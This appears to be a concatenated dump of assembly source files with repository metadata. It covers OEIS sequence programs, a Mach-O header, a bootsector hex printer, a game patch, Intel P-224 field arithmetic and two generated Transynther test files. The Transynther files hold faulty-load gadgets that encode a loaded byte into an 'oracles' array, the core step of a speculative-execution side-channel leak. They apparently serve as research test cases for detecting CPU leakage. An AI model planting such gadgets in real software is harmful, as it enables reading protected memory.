; flags Command4End: Command5Start: dd SOLVE(LC_DYLD_INFO_ONLY) dd Command5End-Command5Start ; size dd 0,0,0,0,0 dd 0,0,0,0,0 Command5End: Command6Start: dd SOLVE(LC_DYSYMTAB) dd Command6End-Command6Start ; size dd 0,0,0,0,0,0,0,0,0 dd 0,0,0,0,0,0,0,0,0 Command6End: ;%endif Command1Start: dd SOLVE(LC_MAIN) ; this is main dd Command1End-Command1Start ; size Global __LATURI__CodeStart __LATURI__CodeStart: dd 0 ; eip dd 0 dd 0 ; stack dd 0 Command1End: %if 0 ; default VSYNC Command7Start: dd SOLVE(LC_VERSION_MIN_MACOSX) ; min version dd Command7End-Command7Start ; size dd 0 ; min version dd 0x0a0a00 ; sdk Command7End: %endif Command3Start: dd SOLVE(LC_LOAD_DYLINKER) ; dyld dd Command3End-Command3Start ; size dd DyldName-Command3Start ; offset DyldName: db '/usr/lib/dyld',0 ; 14 bytes Command3End: MACHCommandsEnd:
21.232143
87
0.714045
[ "BSD-2-Clause" ]
temisu/BR4096
laturi/header32.asm
2,378
Assembly
; A197773: Ceiling((n+1/n)^3) ; 8,16,38,77,141,235,365,537,757,1031,1365,1765,2237,2787,3421,4145,4965,5887,6917,8061,9325,10715,12237,13897,15701,17655,19765,22037,24477,27091,29885,32865,36037,39407,42981,46765,50765,54987,59437,64121,69045,74215,79637,85317,91261,97475,103965,110737,117797,125151,132805,140765,149037,157627,166541,175785,185365,195287,205557,216181,227165,238515,250237,262337,274821,287695,300965,314637,328717,343211,358125,373465,389237,405447,422101,439205,456765,474787,493277,512241,531685,551615,572037,592957,614381,636315,658765,681737,705237,729271,753845,778965,804637,830867,857661,885025,912965,941487,970597,1000301,1030605,1061515,1093037,1125177,1157941,1191335,1225365,1260037,1295357,1331331,1367965,1405265,1443237,1481887,1521221,1561245,1601965,1643387,1685517,1728361,1771925,1816215,1861237,1906997,1953501,2000755,2048765,2097537,2147077,2197391,2248485,2300365,2353037,2406507,2460781,2515865,2571765,2628487,2686037,2744421,2803645,2863715,2924637,2986417,3049061,3112575,3176965,3242237,3308397,3375451,3443405,3512265,3582037,3652727,3724341,3796885,3870365,3944787,4020157,4096481,4173765,4252015,4331237,4411437,4492621,4574795,4657965,4742137,4827317,4913511,5000725,5088965,5178237,5268547,5359901,5452305,5545765,5640287,5735877,5832541,5930285,6029115,6129037,6230057,6332181,6435415,6539765,6645237,6751837,6859571,6968445,7078465,7189637,7301967,7415461,7530125,7645965,7762987,7881197,8000601,8121205,8243015,8366037,8490277,8615741,8742435,8870365,8999537,9129957,9261631,9394565,9528765,9664237,9800987,9939021,10078345,10218965,10360887,10504117,10648661,10794525,10941715,11090237,11240097,11391301,11543855,11697765,11853037,12009677,12167691,12327085,12487865,12650037,12813607,12978581,13144965,13312765,13481987,13652637,13824721,13998245,14173215,14349637,14527517,14706861,14887675,15069965,15253737,15438997,15625751 mov $4,$0 add $0,1 mov $1,3 div $1,$0 add $1,5 mov $2,$4 mul $2,6 add $1,$2 mov $3,$4 mul $3,$4 mov $2,$3 mul $2,3 add $1,$2 mul $3,$4 add $1,$3
107
1,856
0.835219
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/197/A197773.asm
2,033
Assembly
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r9 push %rax push %rdx push %rsi // Store mov $0x56a, %rsi nop nop nop nop add %rdx, %rdx mov $0x5152535455565758, %r9 movq %r9, %xmm7 movups %xmm7, (%rsi) and %r13, %r13 // Faulty Load lea addresses_WT+0x6d6a, %rdx nop nop sub %rax, %rax movups (%rdx), %xmm2 vpextrq $1, %xmm2, %r15 lea oracles, %r13 and $0xff, %r15 shlq $12, %r15 mov (%r13,%r15,1), %r15 pop %rsi pop %rdx pop %rax pop %r9 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
68.948276
2,999
0.660665
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_289.asm
3,999
Assembly
; A117472: Values of c in a^2 + b^2 = c^2, where b - a = 17 and gcd(a,b,c)=1. ; Submitted by Jon Maiga ; 25,53,137,305,797,1777,4645,10357,27073,60365,157793,351833,919685,2050633,5360317,11951965,31242217,69661157,182092985,406014977,1061315693,2366428705,6185801173,13792557253,36053491345 mov $2,1 lpb $0 sub $0,1 add $1,12 mov $3,$0 add $3,$0 add $3,2 mod $3,4 mul $3,$2 add $1,$3 add $2,$1 lpe add $2,$1 mov $0,$2 add $0,24
22.4
188
0.665179
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/117/A117472.asm
448
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x903e, %rsi lea addresses_D_ht+0xb43e, %rdi clflush (%rsi) nop nop nop nop nop xor %rbx, %rbx mov $102, %rcx rep movsb nop nop nop nop nop inc %rdi lea addresses_WT_ht+0x293e, %rsi lea addresses_normal_ht+0x1701e, %rdi nop nop nop nop nop and %r11, %r11 mov $96, %rcx rep movsq nop sub %rsi, %rsi lea addresses_D_ht+0x1b23e, %rbx nop xor $42037, %r12 movb $0x61, (%rbx) nop nop nop inc %rcx lea addresses_WT_ht+0xdb46, %rdi nop nop nop nop nop cmp $40412, %r15 movw $0x6162, (%rdi) nop dec %rsi lea addresses_WT_ht+0x6c3e, %r11 nop nop nop nop nop dec %rbx vmovups (%r11), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rcx nop nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0x1923e, %rcx nop nop nop nop cmp $59458, %rsi movups (%rcx), %xmm7 vpextrq $0, %xmm7, %rbx nop nop nop sub %r11, %r11 lea addresses_UC_ht+0x12572, %rsi nop nop nop sub %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm2 and $0xffffffffffffffc0, %rsi movaps %xmm2, (%rsi) nop nop nop add %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %r9 push %rbx push %rsi // Store lea addresses_A+0xba6, %r10 nop nop nop nop cmp $7640, %rbx movw $0x5152, (%r10) nop nop nop xor %rbx, %rbx // Store lea addresses_PSE+0x943e, %rbx nop nop nop nop dec %r9 mov $0x5152535455565758, %rsi movq %rsi, (%rbx) dec %r9 // Store lea addresses_WT+0x8f1e, %r9 nop nop nop nop nop add $40610, %r8 movl $0x51525354, (%r9) nop nop nop nop and $57344, %r8 // Faulty Load lea addresses_PSE+0x943e, %rbx nop nop inc %r15 mov (%rbx), %r9w lea oracles, %rsi and $0xff, %r9 shlq $12, %r9 mov (%rsi,%r9,1), %r9 pop %rsi pop %rbx pop %r9 pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
33.530928
2,999
0.657802
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1572.asm
6,505
Assembly
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" cextern AutoSurrender ; Patch HouseClass_Force_AI_Take_Control so it doesn't replace the player's ; name with "Computer" if auto-surrender is enabled hack 0x004CA8DC cmp byte[AutoSurrender], 1 je 0x004CA91A call Fetch_String jmp 0x004CA8E1
23.857143
76
0.799401
[ "MIT" ]
A-Productions/ts-patches
src/mods/dont_replace_player_name_with_computer.asm
334
Assembly
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Error Checking Specific Definitions FILE: soundblasterError.asm AUTHOR: Todd Stumpf, Aug 17, 1992 REVISION HISTORY: Name Date Description ---- ---- ----------- TS 8/17/92 Initial revision DESCRIPTION: This file contains all the code that is only used during the error checking version of the driver. $Id: soundblasterError.asm,v 1.1 97/04/18 11:57:40 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
25.92
79
0.524691
[ "Apache-2.0" ]
BOBBYWY/pcgeos
Driver/Sound/SoundBlaster/soundblasterError.asm
648
Assembly
; A034262: a(n) = n^3 + n. ; 0,2,10,30,68,130,222,350,520,738,1010,1342,1740,2210,2758,3390,4112,4930,5850,6878,8020,9282,10670,12190,13848,15650,17602,19710,21980,24418,27030,29822,32800,35970,39338,42910,46692,50690,54910,59358,64040,68962,74130,79550,85228,91170,97382,103870,110640,117698,125050,132702,140660,148930,157518,166430,175672,185250,195170,205438,216060,227042,238390,250110,262208,274690,287562,300830,314500,328578,343070,357982,373320,389090,405298,421950,439052,456610,474630,493118,512080,531522,551450,571870,592788,614210,636142,658590,681560,705058,729090,753662,778780,804450,830678,857470,884832,912770,941290,970398,1000100,1030402,1061310,1092830,1124968,1157730,1191122,1225150,1259820,1295138,1331110,1367742,1405040,1443010,1481658,1520990,1561012,1601730,1643150,1685278,1728120,1771682,1815970,1860990,1906748,1953250,2000502,2048510,2097280,2146818,2197130,2248222,2300100,2352770,2406238,2460510,2515592,2571490,2628210,2685758,2744140,2803362,2863430,2924350,2986128,3048770,3112282,3176670,3241940,3308098,3375150,3443102,3511960,3581730,3652418,3724030,3796572,3870050,3944470,4019838,4096160,4173442,4251690,4330910,4411108,4492290,4574462,4657630,4741800,4826978,4913170,5000382,5088620,5177890,5268198,5359550,5451952,5545410,5639930,5735518,5832180,5929922,6028750,6128670,6229688,6331810,6435042,6539390,6644860,6751458,6859190,6968062,7078080,7189250,7301578,7415070,7529732,7645570,7762590,7880798,8000200,8120802,8242610,8365630,8489868,8615330,8742022,8869950,8999120,9129538,9261210,9394142,9528340,9663810,9800558,9938590,10077912,10218530,10360450,10503678,10648220,10794082,10941270,11089790,11239648,11390850,11543402,11697310,11852580,12009218,12167230,12326622,12487400,12649570,12813138,12978110,13144492,13312290,13481510,13652158,13824240,13997762,14172730,14349150,14527028,14706370,14887182,15069470,15253240,15438498 mov $1,$0 pow $0,3 add $1,$0
272.428571
1,849
0.852124
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/034/A034262.asm
1,907
Assembly
; A021431: Decimal expansion of 1/427. ; Submitted by Jamie Morken(m2) ; 0,0,2,3,4,1,9,2,0,3,7,4,7,0,7,2,5,9,9,5,3,1,6,1,5,9,2,5,0,5,8,5,4,8,0,0,9,3,6,7,6,8,1,4,9,8,8,2,9,0,3,9,8,1,2,6,4,6,3,7,0,0,2,3,4,1,9,2,0,3,7,4,7,0,7,2,5,9,9,5,3,1,6,1,5,9,2,5,0,5,8,5,4,8,0,0,9,3,6 seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1. div $0,1708 mod $0,10
45.5
199
0.593407
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/021/A021431.asm
364
Assembly
; receiving data in 'dx' ; assume: dx = 0x1234 print_hex: pusha mov cx, 0 ; index variable ; get last char of 'dx' -> convert to ASCII ; '0' (ASCII 0x30) ... ; 'A' (ASCII 0x41) ... ; move ascii byte to correct poz hex_loop: cmp cx, 4 ; loop 4 times je end ; convert last char of 'dx' to ASCII mov ax, dx ; use ax as working register and ax, 0x000f ; 0x1234 -> 0x0004 by masking first three to zeros add al, 0x30 ; add 0x30 to N to convert it to ASCII 'N' cmp al, 0x39 ; if > 9, add 8 for a-f jle step2 add al, 7 ; 65 - 58 step2: ; move ascii to correct poz ; bx <- base address + string length - index of char mov bx, HEX_OUT + 5 ; base + length sub bx, cx ; index variable mov [bx], al ; copy the ASCII char on 'al' to the position pointed by 'bx' ror dx, 4 ; 0x1234 -> 0x4123 -> 0x3412 -> 0x2341 -> 0x1234 add cx, 1 jmp hex_loop end: ; prepare the parameter and call the function mov bx, HEX_OUT call print popa ret HEX_OUT: db '0x0000', 0 ; reserve memory for new string
23.085106
78
0.613825
[ "MIT" ]
cristicretu/CrtOS
05_bootsector_functions_strings/boot_sect_print_hex.asm
1,085
Assembly
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 Lpoly: .quad 0x1, 0xffffffff00000000, 0xffffffffffffffff, 0xffffffff LRR: .quad 0xffffffff00000001, 0xffffffff00000000, 0xfffffffe00000000, 0xffffffff LOne: .long 1,1,1,1,1,1,1,1 LTwo: .long 2,2,2,2,2,2,2,2 LThree: .long 3,3,3,3,3,3,3,3 .p2align 4, 0x90 .globl m7_p224r1_mul_by_2 .type m7_p224r1_mul_by_2, @function m7_p224r1_mul_by_2: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 shld $(1), %r11, %r13 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe1: .size m7_p224r1_mul_by_2, .Lfe1-(m7_p224r1_mul_by_2) .p2align 4, 0x90 .globl m7_p224r1_div_by_2 .type m7_p224r1_div_by_2, @function m7_p224r1_div_by_2: push %r12 push %r13 push %r14 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 xor %r13, %r13 xor %r14, %r14 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 adc $(0), %r13 test $(1), %r8 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 cmovne %r13, %r14 shrd $(1), %r9, %r8 shrd $(1), %r10, %r9 shrd $(1), %r11, %r10 shrd $(1), %r14, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r14 pop %r13 pop %r12 ret .Lfe2: .size m7_p224r1_div_by_2, .Lfe2-(m7_p224r1_div_by_2) .p2align 4, 0x90 .globl m7_p224r1_mul_by_3 .type m7_p224r1_mul_by_3, @function m7_p224r1_mul_by_3: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 shld $(1), %r11, %r13 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 xor %r13, %r13 addq (%rsi), %r8 adcq (8)(%rsi), %r9 adcq (16)(%rsi), %r10 adcq (24)(%rsi), %r11 adc $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe3: .size m7_p224r1_mul_by_3, .Lfe3-(m7_p224r1_mul_by_3) .p2align 4, 0x90 .globl m7_p224r1_add .type m7_p224r1_add, @function m7_p224r1_add: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 addq (%rdx), %r8 adcq (8)(%rdx), %r9 adcq (16)(%rdx), %r10 adcq (24)(%rdx), %r11 adc $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe4: .size m7_p224r1_add, .Lfe4-(m7_p224r1_add) .p2align 4, 0x90 .globl m7_p224r1_sub .type m7_p224r1_sub, @function m7_p224r1_sub: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 subq (%rdx), %r8 sbbq (8)(%rdx), %r9 sbbq (16)(%rdx), %r10 sbbq (24)(%rdx), %r11 sbb $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 test %r13, %r13 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) pop %r13 pop %r12 ret .Lfe5: .size m7_p224r1_sub, .Lfe5-(m7_p224r1_sub) .p2align 4, 0x90 .globl m7_p224r1_neg .type m7_p224r1_neg, @function m7_p224r1_neg: push %r12 push %r13 xor %r13, %r13 xor %r8, %r8 xor %r9, %r9 xor %r10, %r10 xor %r11, %r11 subq (%rsi), %r8 sbbq (8)(%rsi), %r9 sbbq 